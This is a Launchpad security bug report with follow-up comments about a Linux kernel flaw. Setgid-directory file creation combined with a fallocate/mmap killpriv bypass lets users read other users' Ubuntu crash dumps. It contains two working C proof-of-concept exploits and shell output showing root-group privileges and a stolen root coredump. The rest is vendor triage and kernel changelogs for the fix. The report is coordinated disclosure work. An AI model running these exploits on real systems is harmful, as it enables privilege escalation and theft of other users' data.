other users' coredumps can be read via setgid directory and killpriv bypass

Bug #1779923 reported by Jann Horn (corp account) on 2018-07-03
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
linux (Ubuntu)
Status tracked in Cosmic
Trusty
Medium
Tyler Hicks
Xenial
Medium
Tyler Hicks
Bionic
Medium
Tyler Hicks
Cosmic
Medium
Tyler Hicks

Bug Description

Note: I am both sending this bug report to <email address hidden> and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.

I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:

=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============

Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml<email address hidden>/

"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml<email address hidden>/

However, as far as I can tell, neither of them actually landed.

You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel<email address hidden>/
):

=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(void) {
  int src_fd = open("/usr/bin/id", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");

  memcpy(mapping, src_mapping, src_len);

  munmap(mapping, src_len);
  close(fd);
  close(src_fd);

  execl("./dir/file", "id", NULL);
  err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============

sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.

On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:

=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
  if (argc != 2) {
    printf("usage: ./fallocate <file_to_read>");
    return 1;
  }
  int src_fd = open("/bin/cat", O_RDONLY);
  if (src_fd == -1)
    err(1, "open 2");
  struct stat src_stat;
  if (fstat(src_fd, &src_stat))
    err(1, "fstat");
  int src_len = src_stat.st_size;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  unlink("/var/crash/privileged_cat"); /* in case we've already run before */
  int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  memcpy(mapping, src_mapping, src_len);
  munmap(mapping, src_len);
  close(fd);

  execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
  err(1, "execl");
}
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
=============

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

This is now fixed upstream in Linus' tree: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7

Note that this fix does not have a CC stable marker.

Alex Murray (alexmurray) wrote :

Hi Jann - thanks for reporting this - I noticed the commit earlier today and have been in the process of testing it here against your PoC's above (still waiting on builds to complete to report final results which I hope to do soon).

Seth Arnold (seth-arnold) wrote :

Hello Jann, have you taken steps to publicize this issue further? I think we'd like to keep the PoC secret until our kernels can include the upstream fix but if this PoC is currently visible elsewhere then it serves no purpose to keep this bug closed any longer.

Thanks

So far, I have only notified <email address hidden> and you. However, our policy is to make issue reports public soon after a patch has been released, so I'm planning to drop the view restriction on our bugtracker entry on Friday.

Seth Arnold (seth-arnold) wrote :

Thanks Jann!

information type: Private Security → Public Security
Tyler Hicks (tyhicks) wrote :
Changed in linux (Ubuntu):
assignee: nobody → Tyler Hicks (tyhicks)
importance: Undecided → Medium
status: New → In Progress
Changed in linux (Ubuntu Bionic):
assignee: nobody → Tyler Hicks (tyhicks)
importance: Undecided → Medium
status: New → In Progress
Changed in linux (Ubuntu Xenial):
assignee: nobody → Tyler Hicks (tyhicks)
importance: Undecided → Medium
status: New → In Progress
Changed in linux (Ubuntu Trusty):
assignee: nobody → Tyler Hicks (tyhicks)
importance: Undecided → Medium
status: New → In Progress
Tyler Hicks (tyhicks) wrote :

I don't think the Security or Foundations teams plan to make any changes in Whoopsie so I'm marking these tasks as invalid.

Changed in whoopsie (Ubuntu Trusty):
status: New → Invalid
Changed in whoopsie (Ubuntu Xenial):
status: New → Invalid
Changed in whoopsie (Ubuntu Bionic):
status: New → Invalid
Changed in whoopsie (Ubuntu Cosmic):
status: New → Invalid
no longer affects: whoopsie (Ubuntu)
no longer affects: whoopsie (Ubuntu Trusty)
no longer affects: whoopsie (Ubuntu Xenial)
no longer affects: whoopsie (Ubuntu Bionic)
no longer affects: whoopsie (Ubuntu Cosmic)
Changed in linux (Ubuntu Trusty):
status: In Progress → Fix Committed
Changed in linux (Ubuntu Xenial):
status: In Progress → Fix Committed
Stefan Bader (smb) on 2018-08-02
Changed in linux (Ubuntu Bionic):
status: In Progress → Fix Committed
Brad Figg (brad-figg) wrote :

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-trusty' to 'verification-done-trusty'. If the problem still exists, change the tag 'verification-needed-trusty' to 'verification-failed-trusty'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

tags: added: verification-needed-trusty
Brad Figg (brad-figg) wrote :

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-xenial' to 'verification-done-xenial'. If the problem still exists, change the tag 'verification-needed-xenial' to 'verification-failed-xenial'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

tags: added: verification-needed-xenial
Brad Figg (brad-figg) wrote :

This bug is awaiting verification that the kernel in -proposed solves the problem. Please test the kernel and update this bug with the results. If the problem is solved, change the tag 'verification-needed-bionic' to 'verification-done-bionic'. If the problem still exists, change the tag 'verification-needed-bionic' to 'verification-failed-bionic'.

If verification is not done by 5 working days from today, this fix will be dropped from the source code, and this bug will be closed.

See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to enable and use -proposed. Thank you!

tags: added: verification-needed-bionic

Hi @jannh,

Could you please verify if the kernels currently in -proposed fix the issue?

Thank you.

Tyler Hicks (tyhicks) wrote :

I've verified the fix by testing the following kernels:

4.17.0-7.8-generic
4.15.0-33.36-generic
4.4.0-134.160-generic
3.13.0-157.207-generic

tags: added: verification-done-bionic verification-done-trusty verification-done-xenial
removed: verification-needed-bionic verification-needed-trusty verification-needed-xenial
Tyler Hicks (tyhicks) wrote :

@jannh you can ignore the request in comment #12 to verify the fixes in the -proposed kernels. Thanks again for bringing this to our attention.

Launchpad Janitor (janitor) wrote :
Download full text (35.6 KiB)

This bug was fixed in the package linux - 4.15.0-33.36

---------------
linux (4.15.0-33.36) bionic; urgency=medium

  * linux: 4.15.0-33.36 -proposed tracker (LP: #1787149)

  * RTNL assertion failure on ipvlan (LP: #1776927)
    - ipvlan: drop ipv6 dependency
    - ipvlan: use per device spinlock to protect addrs list updates
    - SAUCE: fix warning from "ipvlan: drop ipv6 dependency"

  * ubuntu_bpf_jit test failed on Bionic s390x systems (LP: #1753941)
    - test_bpf: flag tests that cannot be jited on s390

  * HDMI/DP audio can't work on the laptop of Dell Latitude 5495 (LP: #1782689)
    - drm/nouveau: fix nouveau_dsm_get_client_id()'s return type
    - drm/radeon: fix radeon_atpx_get_client_id()'s return type
    - drm/amdgpu: fix amdgpu_atpx_get_client_id()'s return type
    - platform/x86: apple-gmux: fix gmux_get_client_id()'s return type
    - ALSA: hda: use PCI_BASE_CLASS_DISPLAY to replace PCI_CLASS_DISPLAY_VGA
    - vga_switcheroo: set audio client id according to bound GPU id

  * locking sockets broken due to missing AppArmor socket mediation patches
    (LP: #1780227)
    - UBUNTU SAUCE: apparmor: fix apparmor mediating locking non-fs, unix sockets

  * Update2 for ocxl driver (LP: #1781436)
    - ocxl: Fix page fault handler in case of fault on dying process

  * netns: unable to follow an interface that moves to another netns
    (LP: #1774225)
    - net: core: Expose number of link up/down transitions
    - dev: always advertise the new nsid when the netns iface changes
    - dev: advertise the new ifindex when the netns iface changes

  * [Bionic] Disk IO hangs when using BFQ as io scheduler (LP: #1780066)
    - block, bfq: fix occurrences of request finish method's old name
    - block, bfq: remove batches of confusing ifdefs
    - block, bfq: add requeue-request hook

  * HP ProBook 455 G5 needs mute-led-gpio fixup (LP: #1781763)
    - ALSA: hda: add mute led support for HP ProBook 455 G5

  * [Bionic] bug fixes to improve stability of the ThunderX2 i2c driver
    (LP: #1781476)
    - i2c: xlp9xx: Fix issue seen when updating receive length
    - i2c: xlp9xx: Make sure the transfer size is not more than
      I2C_SMBUS_BLOCK_SIZE

  * x86/kvm: fix LAPIC timer drift when guest uses periodic mode (LP: #1778486)
    - x86/kvm: fix LAPIC timer drift when guest uses periodic mode

  * Please include ax88179_178a and r8152 modules in d-i udeb (LP: #1771823)
    - [Config:] d-i: Add ax88179_178a and r8152 to nic-modules

  * Nvidia fails after switching its mode (LP: #1778658)
    - PCI: Restore config space on runtime resume despite being unbound

  * Kernel error "task zfs:pid blocked for more than 120 seconds" (LP: #1781364)
    - SAUCE: (noup) zfs to 0.7.5-1ubuntu16.3

  * CVE-2018-12232
    - PATCH 1/1] socket: close race condition between sock_close() and
      sockfs_setattr()

  * CVE-2018-10323
    - xfs: set format back to extents if xfs_bmap_extents_to_btree

  * change front mic location for more lenovo m7/8/9xx machines (LP: #1781316)
    - ALSA: hda/realtek - Fix the problem of two front mics on more machines
    - ALSA: hda/realtek - two more lenovo models need fixup of MIC_LOCATION

  * Cephfs + fscache: unab...

Changed in linux (Ubuntu Bionic):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :
Download full text (16.4 KiB)

This bug was fixed in the package linux - 4.4.0-134.160

---------------
linux (4.4.0-134.160) xenial; urgency=medium

  * linux: 4.4.0-134.160 -proposed tracker (LP: #1787177)

  * locking sockets broken due to missing AppArmor socket mediation patches
    (LP: #1780227)
    - UBUNTU SAUCE: apparmor: fix apparmor mediating locking non-fs, unix sockets

  * Backport namespaced fscaps to xenial 4.4 (LP: #1778286)
    - Introduce v3 namespaced file capabilities
    - commoncap: move assignment of fs_ns to avoid null pointer dereference
    - capabilities: fix buffer overread on very short xattr
    - commoncap: Handle memory allocation failure.

  * Xenial update to 4.4.140 stable release (LP: #1784409)
    - usb: cdc_acm: Add quirk for Uniden UBC125 scanner
    - USB: serial: cp210x: add CESINEL device ids
    - USB: serial: cp210x: add Silicon Labs IDs for Windows Update
    - n_tty: Fix stall at n_tty_receive_char_special().
    - staging: android: ion: Return an ERR_PTR in ion_map_kernel
    - n_tty: Access echo_* variables carefully.
    - x86/boot: Fix early command-line parsing when matching at end
    - ath10k: fix rfc1042 header retrieval in QCA4019 with eth decap mode
    - i2c: rcar: fix resume by always initializing registers before transfer
    - ipv4: Fix error return value in fib_convert_metrics()
    - kprobes/x86: Do not modify singlestep buffer while resuming
    - nvme-pci: initialize queue memory before interrupts
    - netfilter: nf_tables: use WARN_ON_ONCE instead of BUG_ON in nft_do_chain()
    - ARM: dts: imx6q: Use correct SDMA script for SPI5 core
    - ubi: fastmap: Correctly handle interrupted erasures in EBA
    - mm: hugetlb: yield when prepping struct pages
    - tracing: Fix missing return symbol in function_graph output
    - scsi: sg: mitigate read/write abuse
    - s390: Correct register corruption in critical section cleanup
    - drbd: fix access after free
    - cifs: Fix infinite loop when using hard mount option
    - jbd2: don't mark block as modified if the handle is out of credits
    - ext4: make sure bitmaps and the inode table don't overlap with bg
      descriptors
    - ext4: always check block group bounds in ext4_init_block_bitmap()
    - ext4: only look at the bg_flags field if it is valid
    - ext4: verify the depth of extent tree in ext4_find_extent()
    - ext4: include the illegal physical block in the bad map ext4_error msg
    - ext4: clear i_data in ext4_inode_info when removing inline data
    - ext4: add more inode number paranoia checks
    - ext4: add more mount time checks of the superblock
    - ext4: check superblock mapped prior to committing
    - HID: i2c-hid: Fix "incomplete report" noise
    - HID: hiddev: fix potential Spectre v1
    - HID: debug: check length before copy_to_user()
    - x86/mce: Detect local MCEs properly
    - x86/mce: Fix incorrect "Machine check from unknown source" message
    - media: cx25840: Use subdev host data for PLL override
    - mm, page_alloc: do not break __GFP_THISNODE by zonelist reset
    - dm bufio: avoid sleeping while holding the dm_bufio lock
    - dm bufio: drop the lock when doing GFP_NOIO allocation
    - mtd: rawnand: mxc: set spa...

Changed in linux (Ubuntu Xenial):
status: Fix Committed → Fix Released
Launchpad Janitor (janitor) wrote :
Download full text (6.4 KiB)

This bug was fixed in the package linux - 3.13.0-157.207

---------------
linux (3.13.0-157.207) trusty; urgency=medium

  * linux: 3.13.0-157.207 -proposed tracker (LP: #1787982)

  * CVE-2017-5715 (Spectre v2 retpoline)
    - SAUCE: Fix "x86/retpoline/entry: Convert entry assembler indirect jumps"

  * CVE-2017-2583
    - KVM: x86: fix emulation of "MOV SS, null selector"

  * CVE-2017-7518
    - KVM: x86: fix singlestepping over syscall

  * CVE-2017-18270
    - KEYS: prevent creating a different user's keyrings

  * Update to upstream's implementation of Spectre v1 mitigation (LP: #1774181)
    - Documentation: Document array_index_nospec
    - array_index_nospec: Sanitize speculative array de-references
    - x86: Implement array_index_mask_nospec
    - x86: Introduce barrier_nospec
    - x86/get_user: Use pointer masking to limit speculation
    - x86/syscall: Sanitize syscall table de-references under speculation
    - vfs, fdtable: Prevent bounds-check bypass via speculative execution
    - nl80211: Sanitize array index in parse_txq_params
    - x86/spectre: Report get_user mitigation for spectre_v1
    - x86/kvm: Update spectre-v1 mitigation
    - nospec: Allow index argument to have const-qualified type
    - nospec: Move array_index_nospec() parameter checking into separate macro
    - nospec: Kill array_index_nospec_mask_check()
    - SAUCE: Replace osb() calls with array_index_nospec()
    - SAUCE: Rename osb() to barrier_nospec()
    - SAUCE: x86: Use barrier_nospec in arch/x86/um/asm/barrier.h

  * Prevent speculation on user controlled pointer (LP: #1775137)
    - x86: reorganize SMAP handling in user space accesses
    - x86: fix SMAP in 32-bit environments
    - x86: Introduce __uaccess_begin_nospec() and uaccess_try_nospec
    - x86/usercopy: Replace open coded stac/clac with __uaccess_{begin, end}
    - x86/uaccess: Use __uaccess_begin_nospec() and uaccess_try_nospec

  * CVE-2016-10208
    - ext4: validate s_first_meta_bg at mount time
    - ext4: fix fencepost in s_first_meta_bg validation

  * CVE-2018-10323
    - xfs: set format back to extents if xfs_bmap_extents_to_btree

  * CVE-2017-16911
    - usbip: prevent vhci_hcd driver from leaking a socket pointer address

  * CVE-2018-13406
    - video: uvesafb: Fix integer overflow in allocation

  * CVE-2018-10877
    - ext4: verify the depth of extent tree in ext4_find_extent()

  * CVE-2018-10881
    - ext4: clear i_data in ext4_inode_info when removing inline data

  * CVE-2018-1092
    - ext4: fail ext4_iget for root directory if unallocated

  * CVE-2018-1093
    - ext4: fix block bitmap validation when bigalloc, ^flex_bg
    - ext4: add validity checks for bitmap block numbers

  * CVE-2018-12233
    - jfs: Fix inconsistency between memory allocation and ea_buf->max_size

  * CVE-2017-16912
    - usbip: fix stub_rx: get_pipe() to validate endpoint number

  * CVE-2018-10675
    - mm/mempolicy: fix use after free when calling get_mempolicy

  * CVE-2017-8831
    - saa7164: fix sparse warnings
    - saa7164: fix double fetch PCIe access condition

  * CVE-2017-16533
    - HID: usbhid: fix out-of-bounds bug

  * CVE-2017-16538
    - media: dvb-usb-v2: lmedm04: move ts2...

Read more...

Changed in linux (Ubuntu Trusty):
status: Fix Committed → Fix Released
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers